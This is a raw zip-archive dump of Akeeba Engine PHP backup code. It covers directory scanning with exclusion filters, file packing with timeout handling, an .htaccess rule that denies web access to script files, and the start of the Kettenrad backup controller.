		if ((is_array($this->directory_list) || $this->directory_list instanceof \Countable ? count($this->directory_list) : 0) == 0)
		{
			// No directories left to scan
			return false;
		}
		else
		{
			// Get and remove the last entry from the $directory_list array
			$this->current_directory = array_pop($this->directory_list);
			$this->setStep($this->current_directory);
			$this->processed_files_counter = 0;
		}

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		// Apply DEF (directory exclusion filters)
		// Note: the !empty($dir) prevents the site's root from being filtered out
		if ($filters->isFiltered($dir, $root, 'dir', 'all') && !empty($dir))
		{
			Factory::getLog()->info("Skipping directory " . $this->current_directory);
			$this->done_subdir_scanning = true;
			$this->done_file_scanning   = true;
			$this->excluded_folder      = true;

			return true;
		}

		// Apply Skip Contained Directories Filters
		if ($filters->isFiltered($dir, $root, 'dir', 'children'))
		{
			$this->excluded_subdirectories = true;

			Factory::getLog()->info("Skipping subdirectories of directory " . $this->current_directory);

			$this->done_subdir_scanning = true;
		}

		// Apply Skipfiles
		if ($filters->isFiltered($dir, $root, 'dir', 'content'))
		{
			$this->excluded_files = true;

			Factory::getLog()->info("Skipping files of directory " . $this->current_directory);

			$this->done_file_scanning = true;

			// When the files of a folder are skipped we will have to add some
			// files anyway if they are present. These are files used to
			// prevent direct access to the folder.

			// Try to find and include .htaccess and index.htm(l) files
			// # Fix 2.4: Do not add DIRECTORY_SEPARATOR if we are on the site's root and it's an empty string
			$ds                            = ($this->current_directory == '') || ($this->current_directory == '/') ? '' : DIRECTORY_SEPARATOR;
			$checkForTheseFiles            = [
				$this->current_directory . $ds . '.htaccess',
				$this->current_directory . $ds . 'web.config',
				$this->current_directory . $ds . 'index.html',
				$this->current_directory . $ds . 'index.htm',
				$this->current_directory . $ds . 'robots.txt',
			];
			$this->processed_files_counter = 0;

			foreach ($checkForTheseFiles as $fileName)
			{
				if (@file_exists($fileName))
				{
					// Fix 3.3 - We have to also put them through other filters, ahem!
					if (!$filters->isFiltered($fileName, $root, 'file', 'all'))
					{
						$this->file_list[] = $fileName;
						$this->processed_files_counter++;
					}
				}
			}
		}

		return true;
	}

	/**
	 * Try to add some files from the $file_list into the archive
	 *
	 * @return   boolean   True if there were files packed, false otherwise
	 *                     (empty filelist or fatal error)
	 */
	protected function pack_files()
	{
		// Get a reference to the archiver and the timer classes
		$archiver      = Factory::getArchiverEngine();
		$timer         = Factory::getTimer();
		$configuration = Factory::getConfiguration();

		// Check whether we need to immediately post-processing a done part
		if (self::postProcessDonePartFile($archiver, $configuration))
		{
			return true;
		}

		// If the archiver has work to do, make sure it finished up before continuing
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			Factory::getLog()->debug("Continuing file packing from previous step");
			$archiver->addFile('', '', '');

			// If that was the last step for packing this file, mark a file done
			if (!$configuration->get('volatile.engine.archiver.processingfile', false))
			{
				$this->progressMarkFileDone();
			}
		}

		// Did it finish, or does it have more work to do?
		if ($configuration->get('volatile.engine.archiver.processingfile', false))
		{
			// More work to do. Let's just tell our parent that we finished up successfully.
			return true;
		}

		// Normal file backup loop; we keep on processing the file list, packing files as we go.
		if ((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) == 0)
		{
			// No files left to pack. Return true and let the engine loop
			$this->progressMarkFolderDone();

			return true;
		}
		else
		{
			Factory::getLog()->debug("Packing files");
			$packedSize    = 0;
			$numberOfFiles = 0;

			[$usec, $sec] = explode(" ", microtime());
			$opStartTime = ((float) $usec + (float) $sec);

			$largeFileThreshold = Factory::getConfiguration()->get('engine.scan.common.largefile', 10485760);

			while (((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) > 0))
			{
				$file = @array_shift($this->file_list);
				$size = 0;
				if (file_exists($file))
				{
					$size = @filesize($file);
				}
				// Anticipatory file size algorithm
				if (($numberOfFiles > 0) && ($size > $largeFileThreshold))
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.beforelargefile', 0))
					{
						// If the file is bigger than the big file threshold, break the step
						// to avoid potential timeouts
						$this->setBreakFlag();
						Factory::getLog()->info("Breaking step _before_ large file: " . $file . " - size: " . $size);
						// Push the file back to the list.
						array_unshift($this->file_list, $file);

						// Return true and let the engine loop
						return true;
					}
				}

				// Proactive potential timeout detection
				// Rough estimation of packing speed in bytes per second
				[$usec, $sec] = explode(" ", microtime());

				$opEndTime = ((float) $usec + (float) $sec);

				if (($opEndTime - $opStartTime) == 0)
				{
					$_packSpeed = 0;
				}
				else
				{
					$_packSpeed = $packedSize / ($opEndTime - $opStartTime);
				}

				// Estimate required time to pack next file. If it's the first file of this operation,
				// do not impose any limitations.
				$_reqTime = ($_packSpeed - 0.01) <= 0 ? 0 : $size / $_packSpeed;

				// Do we have enough time?
				if ($timer->getTimeLeft() < $_reqTime)
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.proactive', 0))
					{
						array_unshift($this->file_list, $file);
						Factory::getLog()->info("Proactive step break - file: " . $file . " - size: " . $size . " - req. time " . sprintf('%2.2f', $_reqTime));
						$this->setBreakFlag();

						return true;
					}
				}

				$packedSize += $size;
				$numberOfFiles++;
				$archiver->addFile($file, $this->remove_path_prefix, $this->path_prefix);

				// If no more processing steps are required, mark a done file
				if (!$configuration->get('volatile.engine.archiver.processingfile', false))
				{
					$this->progressMarkFileDone();
				}

				// If this was the first file packed and we've already gone past
				// the large file size threshold break the step. Continuing with
				// more operations after packing such a big file is increasing
				// the risk to hit a timeout.
				if (($packedSize > $largeFileThreshold) && ($numberOfFiles == 1))
				{
					if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.afterlargefile', 0))
					{
						Factory::getLog()->info("Breaking step *after* large file: " . $file . " - size: " . $size);
						$this->setBreakFlag();

						return true;
					}
				}

				// If we have to continue processing the file, break the file packing loop forcibly
				if ($configuration->get('volatile.engine.archiver.processingfile', false))
				{
					return true;
				}
			}

			// True if we have more files, false if we're done packing
			return ((is_array($this->file_list) || $this->file_list instanceof \Countable ? count($this->file_list) : 0) > 0);
		}
	}

	protected function progressAddFile()
	{
		$this->total_files++;
	}

	protected function progressMarkFileDone()
	{
		$this->done_files++;
	}

	protected function progressAddFolder()
	{
		$this->total_folders++;
	}

	protected function progressMarkFolderDone()
	{
		$this->done_folders++;
	}

	/**
	 * Returns the site root, the translated site root and the translated current directory
	 *
	 * @return array
	 */
	protected function getCleanDirectoryComponents()
	{
		$fsUtils = Factory::getFilesystemTools();

		// Break directory components
		if (Factory::getConfiguration()->get('akeeba.platform.override_root', 0))
		{
			$siteroot = Factory::getConfiguration()->get('akeeba.platform.newroot', '[SITEROOT]');
		}
		else
		{
			$siteroot = '[SITEROOT]';
		}

		$root = $this->root;

		if ($this->root == $siteroot)
		{
			$translated_root = $fsUtils->translateStockDirs($siteroot, true);
		}
		else
		{
			$translated_root = $this->remove_path_prefix;
		}

		$dir = $fsUtils->TrimTrailingSlash($this->current_directory);

		if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
		{
			$translated_root = $fsUtils->TranslateWinPath($translated_root);
			$dir             = $fsUtils->TranslateWinPath($dir);
		}

		if (substr($dir, 0, strlen($translated_root)) == $translated_root)
		{
			$dir = substr($dir, strlen($translated_root));
		}
		elseif (in_array(substr($translated_root, -1), ['/', '\\']))
		{
			$new_translated_root = rtrim($translated_root, '/\\');
			if (substr($dir, 0, strlen($new_translated_root)) == $new_translated_root)
			{
				$dir = substr($dir, strlen($new_translated_root));
			}
		}

		if (substr($dir, 0, 1) == '/')
		{
			$dir = substr($dir, 1);
		}

		return [$root, $translated_root, $dir];
	}

	/**
	 * Steps the subdirectory scanning of the current directory
	 *
	 * @return  boolean  True on success, false on fatal error
	 */
	protected function scanSubdirs()
	{
		$engine         = Factory::getScanEngine();
		$subdirectories = false;

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		if (is_null($this->getFolders_position))
		{
			Factory::getLog()->info("Scanning directories of " . $this->current_directory);
		}
		else
		{
			Factory::getLog()->info("Resuming scanning directories of " . $this->current_directory);
		}

		// Get subdirectories
		$exception = null;

		try
		{
			$subdirectories = $engine->getFolders($this->current_directory, $this->getFolders_position);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());

			$subdirectories = false;
		}
		catch (Exception $e)
		{
			$exception = $e;
		}

		// If the list contains "too many" items, please break this step!
		if (Factory::getConfiguration()->get('volatile.breakflag', false))
		{
			// Log the step break decision, for debugging reasons
			Factory::getLog()->info("Large directory " . $this->current_directory . " while scanning for subdirectories; I will resume scanning in next step.");

			// Return immediately, marking that we are not done yet!
			return true;
		}

		// Error control
		if (!is_null($exception))
		{
			throw $exception;
		}

		// Start adding the subdirectories
		if (!empty($subdirectories) && is_array($subdirectories))
		{
			$dereferenceSymlinks = Factory::getConfiguration()->get('engine.archiver.common.dereference_symlinks');

			// If we have to treat symlinks as real directories just add everything
			if ($dereferenceSymlinks)
			{
				// Treat symlinks to directories as actual directories
				foreach ($subdirectories as $subdirectory)
				{
					$this->directory_list[] = $subdirectory;
					$this->progressAddFolder();
				}
			}
			// If we are told not to dereference symlinks we'll need to check each subdirectory thoroughly
			else
			{
				// Treat symlinks to directories as simple symlink files (ONLY WORKS WITH CERTAIN ARCHIVERS!)
				foreach ($subdirectories as $subdirectory)
				{
					if (is_link($subdirectory))
					{
						// Symlink detected; apply directory filters to it
						if (empty($dir))
						{
							$dirSlash = $dir;
						}
						else
						{
							$dirSlash = $dir . '/';
						}

						$check = $dirSlash . basename($subdirectory);
						Factory::getLog()->debug("Directory symlink detected: $check");

						if (_AKEEBA_IS_WINDOWS)
						{
							$check = Factory::getFilesystemTools()->TranslateWinPath($check);
						}

						// Do I need this? $dir contains a path relative to the root anyway...
						$check = ltrim(str_replace($translated_root, '', $check), '/');

						// Check for excluded symlinks (note that they are excluded as DIRECTORIES in the GUI)
						if ($filters->isFiltered($check, $root, 'dir', 'all'))
						{
							Factory::getLog()->info("Skipping directory symlink " . $check);
						}
						else
						{
							Factory::getLog()->debug('Adding folder symlink: ' . $check);
							$this->file_list[] = $subdirectory;
							$this->progressAddFile();
						}
					}
					else
					{
						$this->directory_list[] = $subdirectory;
						$this->progressAddFolder();
					}
				}
			}
		}

		// If the scanner nullified the next position to scan, we're done
		// scanning for subdirectories
		if (is_null($this->getFolders_position))
		{
			$this->done_subdir_scanning = true;
		}

		return true;
	}

	/**
	 * Steps the files scanning of the current directory
	 *
	 * @return  void  True on success, false on fatal error
	 * @throws Exception
	 */
	protected function scanFiles()
	{
		$engine   = Factory::getScanEngine();
		$fileList = false;

		[$root, $translated_root, $dir] = $this->getCleanDirectoryComponents();

		// Get a filters instance
		$filters = Factory::getFilters();

		if (is_null($this->getFiles_position))
		{
			Factory::getLog()->info("Scanning files of " . $this->current_directory);
			$this->processed_files_counter = 0;
		}
		else
		{
			Factory::getLog()->info("Resuming scanning files of " . $this->current_directory);
		}

		// Get file listing
		$exception = null;

		try
		{
			$fileList = $engine->getFiles($this->current_directory, $this->getFiles_position);
		}
		catch (WarningException $e)
		{
			Factory::getLog()->warning($e->getMessage());

			$fileList = false;
		}
		catch (Exception $e)
		{
			$exception = $e;
		}

		// If the list contains "too many" items, please break this step!
		if (Factory::getConfiguration()->get('volatile.breakflag', false))
		{
			// Log the step break decision, for debugging reasons
			Factory::getLog()->info("Large directory " . $this->current_directory . " while scanning for files; I will resume scanning in next step.");

			// Return immediately, marking that we are not done yet!
			return;
		}

		// Error control
		if (!is_null($exception))
		{
			throw $exception;
		}

		// Do I have an unreadable directory?
		if ($fileList === false)
		{
			Factory::getLog()->warning('Unreadable directory ' . $this->current_directory);

			$this->done_file_scanning = true;
		}
		// Directory was readable, process the file list
		elseif (is_array($fileList) && !empty($fileList))
		{
			// Add required trailing slash to $dir
			if (!empty($dir))
			{
				$dir .= '/';
			}

			// Scan all directory entries
			foreach ($fileList as $fileName)
			{
				$check = $dir . basename($fileName);

				if (_AKEEBA_IS_WINDOWS)
				{
					$check = Factory::getFilesystemTools()->TranslateWinPath($check);
				}

				// Do I need this? $dir contains a path relative to the root anyway...
				$check        = ltrim(str_replace($translated_root, '', $check), '/');
				$byFilter     = '';
				$skipThisFile = $filters->isFilteredExtended($check, $root, 'file', 'all', $byFilter);

				if ($skipThisFile)
				{
					Factory::getLog()->info("Skipping file $fileName (filter: $byFilter)");
				}
				else
				{
					$this->file_list[] = $fileName;
					$this->processed_files_counter++;
					$this->progressAddFile();
				}
			}
		}

		// If the scanner engine nullified the next position we are done
		// scanning for files
		if (is_null($this->getFiles_position))
		{
			$this->done_file_scanning = true;
		}

		// If the directory was genuinely empty we will have to add an empty
		// directory entry in the archive, otherwise this directory will never
		// be restored.
		if ($this->done_file_scanning && ($this->processed_files_counter == 0))
		{
			Factory::getLog()->info("Empty directory " . $this->current_directory);

			$archiver = Factory::getArchiverEngine();

			if ($this->current_directory != $this->remove_path_prefix)
			{
				$archiver->addFile($this->current_directory, $this->remove_path_prefix, $this->path_prefix);
			}

			unset($archiver);
		}

		return;
	}

	/**
	 * Try to determine the next root folder to scan
	 *
	 * @return  boolean  True if there was a new root to scan
	 */
	protected function getNextRoot()
	{
		// We have finished with our directory list. Hmm... Do we have extra directories?
		if (count($this->root_definitions) > 0)
		{
			Factory::getLog()->debug("More off-site directories detected");
			$registry       = Factory::getConfiguration();
			$dir_definition = array_shift($this->root_definitions);

			$this->remove_path_prefix = $dir_definition[0]; // Remove absolute path to directory when storing the file

			if (is_null($dir_definition[1]))
			{
				$this->path_prefix = ''; // No added path for main site
			}
			else
			{
				$dir_definition[1] = trim($dir_definition[1]);

				if (empty($dir_definition[1]) || $dir_definition[1] == '/')
				{
					$this->path_prefix = '';
				}
				else
				{
					$this->path_prefix = $registry->get('akeeba.advanced.virtual_folder') . '/' . $dir_definition[1];
				}
			}

			$this->done_scanning = false; // Make sure we process this file list!
			$this->root          = $dir_definition[0];

			// Translate the root into an absolute path
			$stock_dirs   = Platform::getInstance()->get_stock_directories();
			$absolute_dir = substr($this->root, 0);

			if (!empty($stock_dirs))
			{
				foreach ($stock_dirs as $key => $replacement)
				{
					$absolute_dir = str_replace($key, $replacement, $absolute_dir);
				}
			}

			$this->directory_list[]   = $absolute_dir;
			$this->remove_path_prefix = $absolute_dir;

			$registry->set('volatile.filesystem.current_root', $absolute_dir);

			$this->total_files   = 0;
			$this->done_files    = 0;
			$this->total_folders = 0;
			$this->done_folders  = 0;

			Factory::getLog()->info("Including new off-site directory to " . $dir_definition[1]);

			return true;
		}
		else
			// Nope, we are completely done!
		{
			$this->setState(self::STATE_POSTRUN);

			return false;
		}
	}
}
PK     \Sʉ      1  vendor/akeeba/engine/engine/Core/Domain/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \-;d  d  .  vendor/akeeba/engine/engine/Core/Kettenrad.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;
use Throwable;

/**
 * Kettenrad is the main controller of Akeeba Engine. It's responsible for setting the engine into motion, running each
 * and all domain objects to their completion.
 */
class Kettenrad extends Part
{
	/**
	 * Set to true when akeebaBackupErrorHandler is registered as an error handler
	 *
	 * @var bool
	 */
	public static $registeredErrorHandler = false;

	/**
	 * Set to true when deadOnTimeout is registered as a shutdown function
	 *
	 * @var bool
	 */
	public static $registeredShutdownCallback = false;

	/**
	 * Cached copy of the response array
	 *
	 * @var array
	 */
	private $array_cache = null;

	/**
	 * A unique backup ID which allows us to run multiple parallel backups using the same backup origin (tag)
	 *
	 * @var string
	 */
	private $backup_id = '';

	/**
	 * The active domain's class name
	 *
	 * @var string
	 */
	private $class = '';

	/**
	 * The current domain's name
	 *
	 * @var string
	 */
	private $domain = '';

	/**
	 * The list of remaining steps
	 *
	 * @var array
	 */
	private $domain_chain = [];

	/**
	 * The current backup's tag (actually: the backup's origin)
	 *
	 * @var string
	 */
	private $tag = null;

	/**
	 * How many steps the domain_chain array contained when the backup began. Used for percentage calculations.
	 *
	 * @var int
	 */
	private $total_steps = 0;

	/**
	 * Set to true when there are warnings available when getStatusArray() is called. This is used at the end of the
	 * backup to send a different push message depending on whether the backup completed with or without warnings.
	 *
	 * @var  bool
	 */
	private $warnings_issued = false;

	/**
	 * Kettenrad constructor.
	 *
	 * Overrides the Part constructor to initialize Kettenrad-specific properties.
	 *
	 * @return void
	 */
	public function __construct()
	{
		parent::__construct();

		// Register the error handler
		if (!static::$registeredErrorHandler)
		{
			static::$registeredErrorHandler = true;
			set_error_handler('\\Akeeba\\Engine\\Core\\akeebaEngineErrorHandler');
		}
	}

	public function _onSerialize()
	{
		parent::_onSerialize();

		$this->array_cache = null;
	}


	/**
	 * Returns the unique Backup ID
	 *
	 * @return string
	 */
	public function getBackupId()
	{
		return $this->backup_id;
	}

	/**
	 * Sets the unique backup ID.
	 *
	 * @param   string  $backup_id
	 *
	 * @return void
	 */
	public function setBackupId($backup_id = null)
	{
		$this->backup_id = $backup_id;
	}

	/**
	 * Gets the percentage of the backup process done so far.
	 *
	 * @return string
	 */
	public function getProgress()
	{
		// Get the overall percentage (based on domains complete so far)
		$remainingSteps = count($this->domain_chain) + 1;
		$totalSteps     = max($this->total_steps, 1);
		$overall        = 1 - ($remainingSteps / $totalSteps);

		// How much is this step worth?
		$currentStepMaxContribution = 1 / $totalSteps;

		// Get the percentage reported from the domain object, zero if we can't get a domain object.
		$object = !empty($this->class) ? Factory::getDomainObject($this->class) : null;
		$local  = is_object($object) ? $object->getProgress() : 0;

		// Calculate the percentage and apply [0, 100] bounds.
		$percentage = (int) (100 * ($overall + $local * $currentStepMaxContribution));
		$percentage = max(0, $percentage);
		$percentage = min(100, $percentage);

		return $percentage;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return array
	 */
	public function getStatusArray()
	{
		// Get the cached array
		if (!empty($this->array_cache))
		{
			return $this->array_cache;
		}

		// Get the default table
		$array = $this->makeReturnTable();

		// Add the warnings
		$array['Warnings'] = Factory::getLog()->getWarnings();

		// Did we have warnings?
		if (is_array($array['Warnings']) || $array['Warnings'] instanceof \Countable ? count($array['Warnings']) : 0)
		{
			$this->warnings_issued = true;
		}

		// Get the current step number
		$stepCounter = Factory::getConfiguration()->get('volatile.step_counter', 0);

		// Add the archive name
		$statistics       = Factory::getStatistics();
		$record           = $statistics->getRecord();
		$array['Archive'] = $record['archivename'] ?? '';

		// Translate HasRun to what the rest of the suite expects
		$array['HasRun'] = ($this->getState() == self::STATE_FINISHED) ? 1 : 0;

		$array['Error']      = is_null($array['ErrorException']) ? '' : $array['Error'];
		$array['tag']        = $this->tag;
		$array['Progress']   = $this->getProgress();
		$array['backupid']   = $this->getBackupId();
		$array['sleepTime']  = $this->waitTimeMsec;
		$array['stepNumber'] = $stepCounter;
		$array['stepState']  = $this->stateToString($this->getState());

		$this->array_cache = $array;

		return $this->array_cache;
	}

	/**
	 * Returns the current backup tag. If none is specified, it sets it to be the
	 * same as the current backup origin and returns the new setting.
	 *
	 * @return string
	 */
	public function getTag()
	{
		if (empty($this->tag))
		{
			// If no tag exists, we resort to the pre-set backup origin
			$tag       = Platform::getInstance()->get_backup_origin();
			$this->tag = $tag;
		}

		return $this->tag;
	}

	/**
	 * Obsolete method.
	 *
	 * @deprecated 7.0
	 */
	public function resetWarnings()
	{
		Factory::getLog()->debug('DEPRECATED: Akeeba Engine consumers must remove calls to resetWarnings()');
	}

	/**
	 * The public interface to Kettenrad.
	 *
	 * Internally it calls Part::tick(), wrapped in a try-catch block which traps any runaway Exception (PHP 5) or
	 * Throwable we didn't manage to successfully suppress yet.
	 *
	 * @param   int  $nesting
	 *
	 * @return  array  A response array
	 */
	public function tick($nesting = 0)
	{
		$ret = null;
		$e   = null;

		// PHP 7.x -- catch any unhandled Throwable, including PHP fatal errors
		try
		{
			$ret = parent::tick($nesting);
		}
		catch (Throwable $e)
		{
			$this->setState(self::STATE_ERROR);
			$this->lastException = $e;
		}

		// If an error occurred we don't have a return table. If that's the case create one and do log our errors.
		if (!isset($ret))
		{
			// Log the existence of an unhandled exception
			Factory::getLog()->warning("Kettenrad :: Caught unhandled exception. The backup will now fail.");

			// Recursively log unhandled exceptions
			self::logErrorsFromException($e);

			// Create the missing return table
			$ret               = $this->makeReturnTable();
			$this->array_cache = array_merge(is_null($this->array_cache) ? [] : $this->array_cache, $ret);
		}

		return $ret;
	}

	/**
	 * Finalization. Sets the state to STATE_FINISHED.
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		// Open the log
		$logTag = $this->getLogTag();
		Factory::getLog()->open($logTag);

		// Kill the cached array
		$this->array_cache = null;

		// Remove the memory file
		$tempVarsTag = $this->tag . (empty($this->backup_id) ? '' : ('.' . $this->backup_id));
		Factory::getFactoryStorage()->reset($tempVarsTag);

		// All done.
		Factory::getLog()->debug("Kettenrad :: Just finished");
		$this->setState(self::STATE_FINISHED);

		// Send a push message to mark the end of backup
		$pushSubjectKey = $this->warnings_issued ? 'COM_AKEEBA_PUSH_ENDBACKUP_WARNINGS_SUBJECT' : 'COM_AKEEBA_PUSH_ENDBACKUP_SUCCESS_SUBJECT';
		$pushBodyKey    = $this->warnings_issued ? 'COM_AKEEBA_PUSH_ENDBACKUP_WARNINGS_BODY' : 'COM_AKEEBA_PUSH_ENDBACKUP_SUCCESS_BODY';
		$platform       = Platform::getInstance();
		$timeStamp      = date($platform->translate('DATE_FORMAT_LC2'));
		$pushSubject    = sprintf($platform->translate($pushSubjectKey), $platform->get_site_name(), $platform->get_host());
		$pushDetails    = sprintf($platform->translate($pushBodyKey), $platform->get_site_name(), $platform->get_host(), $timeStamp);

		try
		{
			Factory::getPush()->message($pushSubject, $pushDetails);
		}
		catch (Throwable $e)
		{
			Factory::getLog()->notice(sprintf("Sending push notification failed: %s", $e->getMessage()));
		}
	}

	/**
	 * Initialization. Sets the state to STATE_PREPARED.
	 *
	 * @return  void
	 */
	protected function _prepare()
	{
		// Initialize the timer class. Do not remove, even though we don't use the object it needs to be initialized!
		$timer = Factory::getTimer();

		// Do we have a tag?
		if (!empty($this->_parametersArray['tag']))
		{
			$this->tag = $this->_parametersArray['tag'];
		}

		// Make sure a tag exists (or create a new one)
		$this->tag = $this->getTag();

		// Reset the log
		$logTag = $this->getLogTag();
		Factory::getLog()->open($logTag);
		Factory::getLog()->reset($logTag);

		// Reset the storage
		$factoryStorageTag = $this->tag . (empty($this->backup_id) ? '' : ('.' . $this->backup_id));
		Factory::getFactoryStorage()->reset($factoryStorageTag);

		// Apply the configuration overrides
		$overrides = Platform::getInstance()->configOverrides;

		if (is_array($overrides) && @count($overrides))
		{
			$registry       = Factory::getConfiguration();
			$protected_keys = $registry->getProtectedKeys();
			$registry->resetProtectedKeys();

			foreach ($overrides as $k => $v)
			{
				$registry->set($k, $v);
			}

			$registry->setProtectedKeys($protected_keys);
		}

		// Get the domain chain
		$this->domain_chain = Factory::getEngineParamsProvider()->getDomainChain();
		$this->total_steps  = count($this->domain_chain) - 1; // Init shouldn't count in the progress bar

		// Mark this engine for Nesting Logging
		$this->nest_logging = true;

		// Preparation is over
		$this->array_cache = null;
		$this->setState(self::STATE_PREPARED);

		// Send a push message to mark the start of backup
		$platform    = Platform::getInstance();
		$timeStamp   = date($platform->translate('DATE_FORMAT_LC2'));
		$pushSubject = sprintf($platform->translate('COM_AKEEBA_PUSH_STARTBACKUP_SUBJECT'), $platform->get_site_name(), $platform->get_host());
		$pushDetails = sprintf($platform->translate('COM_AKEEBA_PUSH_STARTBACKUP_BODY'), $platform->get_site_name(), $platform->get_host(), $timeStamp, $this->getLogTag());

		try
		{
			Factory::getPush()->message($pushSubject, $pushDetails);
		}
		catch (Throwable $e)
		{
			Factory::getLog()->notice(sprintf("Sending push notification failed: %s", $e->getMessage()));
		}
	}

	/**
	 * Main backup process. Sets the state to STATE_RUNNING or STATE_POSTRUN.
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$result = null;
		$logTag = $this->getLogTag();
		$logger = Factory::getLog();
		$logger->open($logTag);

		// Maybe we're already done or in an error state?
		if (in_array($this->getState(), [self::STATE_POSTRUN, self::STATE_ERROR]))
		{
			return;
		}

		// Set running state
		$this->setState(self::STATE_RUNNING);

		// Do I even have enough time...?
		$timer    = Factory::getTimer();
		$registry = Factory::getConfiguration();

		if (($timer->getTimeLeft() <= 0))
		{
			// We need to set the break flag for the part processing to not batch successive steps
			$registry->set('volatile.breakflag', true);

			return;
		}

		// Initialize operation counter
		$registry->set('volatile.operation_counter', 0);

		// Advance step counter
		$stepCounter = $registry->get('volatile.step_counter', 0);
		$registry->set('volatile.step_counter', ++$stepCounter);

		// Log step start number
		$logger->debug('====== Starting Step number ' . $stepCounter . ' ======');

		if (defined('AKEEBADEBUG'))
		{
			$root = Platform::getInstance()->get_site_root();
			$logger->debug('Site root: ' . $root);
		}

		$finished = false;
		$error    = false;
		// BREAKFLAG is optionally passed by domains to force-break current operation
		$breakFlag = false;

		// Apply an infinite time limit if required
		if ($registry->get('akeeba.tuning.settimelimit', 0))
		{
			if (function_exists('ini_set'))
			{
				@ini_set('max_execution_time', 844000);
			}

			if (function_exists('set_time_limit'))
			{
				set_time_limit(0);
			}
		}

		// Apply a large memory limit (1Gb) if required
		if ($registry->get('akeeba.tuning.setmemlimit', 0))
		{
			if (function_exists('ini_set'))
			{
				ini_set('memory_limit', '17179869184');
			}
		}

		// Update statistics, marking the backup as currently processing a backup step.
		Factory::getStatistics()->updateInStep(true);

		// Loop until time's up, we're done or an error occurred, or BREAKFLAG is set
		$this->array_cache = null;
		$object            = null;

		while (($timer->getTimeLeft() > 0) && (!$finished) && (!$error) && (!$breakFlag))
		{
			// Reset the break flag
			$registry->set('volatile.breakflag', false);

			// Do we have to switch domains? This only happens if there is no active
			// domain, or the current domain has finished
			$have_to_switch = false;
			$object         = null;

			if ($this->class == '')
			{
				$have_to_switch = true;
			}
			else
			{
				$object = Factory::getDomainObject($this->class);

				if (!is_object($object))
				{
					$have_to_switch = true;
				}
				elseif (!in_array('getState', get_class_methods($object)))
				{
					$have_to_switch = true;
				}
				elseif ($object->getState() == self::STATE_FINISHED)
				{
					$have_to_switch = true;
				}
			}

			// Switch domain if necessary
			if ($have_to_switch)
			{
				$logger->debug('Kettenrad :: Switching domains');

				if (!Factory::getConfiguration()->get('akeeba.tuning.nobreak.domains', 0))
				{
					$logger->debug("Kettenrad :: BREAKING STEP BEFORE SWITCHING DOMAIN");
					$registry->set('volatile.breakflag', true);
				}

				// Free last domain
				$object = null;

				if (empty($this->domain_chain))
				{
					// Aw, we're done! No more domains to run.
					$this->setState(self::STATE_POSTRUN);
					$logger->debug("Kettenrad :: No more domains to process");
					$logger->debug('====== Finished Step number ' . $stepCounter . ' ======');
					$this->array_cache = null;

					return;
				}

				// Shift the next definition off the stack
				$this->array_cache = null;
				$new_definition    = array_shift($this->domain_chain);

				if (array_key_exists('class', $new_definition))
				{
					$logger->debug("Switching to domain {$new_definition['domain']}, class {$new_definition['class']}");
					$this->domain = $new_definition['domain'];
					$this->class  = $new_definition['class'];
					// Get a working object
					$object = Factory::getDomainObject($this->class);
					$object->setup($this->_parametersArray);
				}
				else
				{
					$logger->warning("Kettenrad :: No class defined trying to switch domains. The backup will crash.");
					$this->domain = null;
					$this->class  = null;
				}
			}
			elseif (!is_object($object))
			{
				$logger->debug("Kettenrad :: Getting domain object of class {$this->class}");
				$object = Factory::getDomainObject($this->class);
			}


			// Tick the object
			$logger->debug('Kettenrad :: Ticking the domain object');
			$this->lastException = null;

			try
			{
				// We ask the domain object to execute and return its output array
				$result = $object->tick();

				$hasErrorException = array_key_exists('ErrorException', $result) && is_object($result['ErrorException']);
				$hasErrorString    = array_key_exists('Error', $result) && !empty($result['Error']);

				/**
				 * Legacy objects may not be throwing exceptions on error, instead returning an Error string in the
				 * output array. The code below addresses this discrepancy.
				 */
				if (!$hasErrorException && $hasErrorString)
				{
					$result['ErrorException'] = new RuntimeException($result['Error']);
					$hasErrorException        = true;
				}

				/**
				 * Some domain objects may be acting as nested Parts, e.g. the Database domain. In this case the
				 * internal Engine (itself a Part object) is absorbing the thrown exception and relays it in the output
				 * table's ErrorException key. This means that the code above will NOT catch the error. This code below
				 * addresses that situation by rethrowing the exception.
				 *
				 * Practical example: cannot connect to MySQL is thrown by the MySQL Dump engine. The Native database
				 * backup engine absorbs the exception and reports it back to the Database domain object through the
				 * returned output array. However, the Database domain object does not rethrow it, simply relaying it
				 * back to Kettenrad through its own returned output array. As a result we enter an infinite loop where
				 * Kettenrad asks the Database domain to tick, it asks the Native engine to tick which asks the MySQL
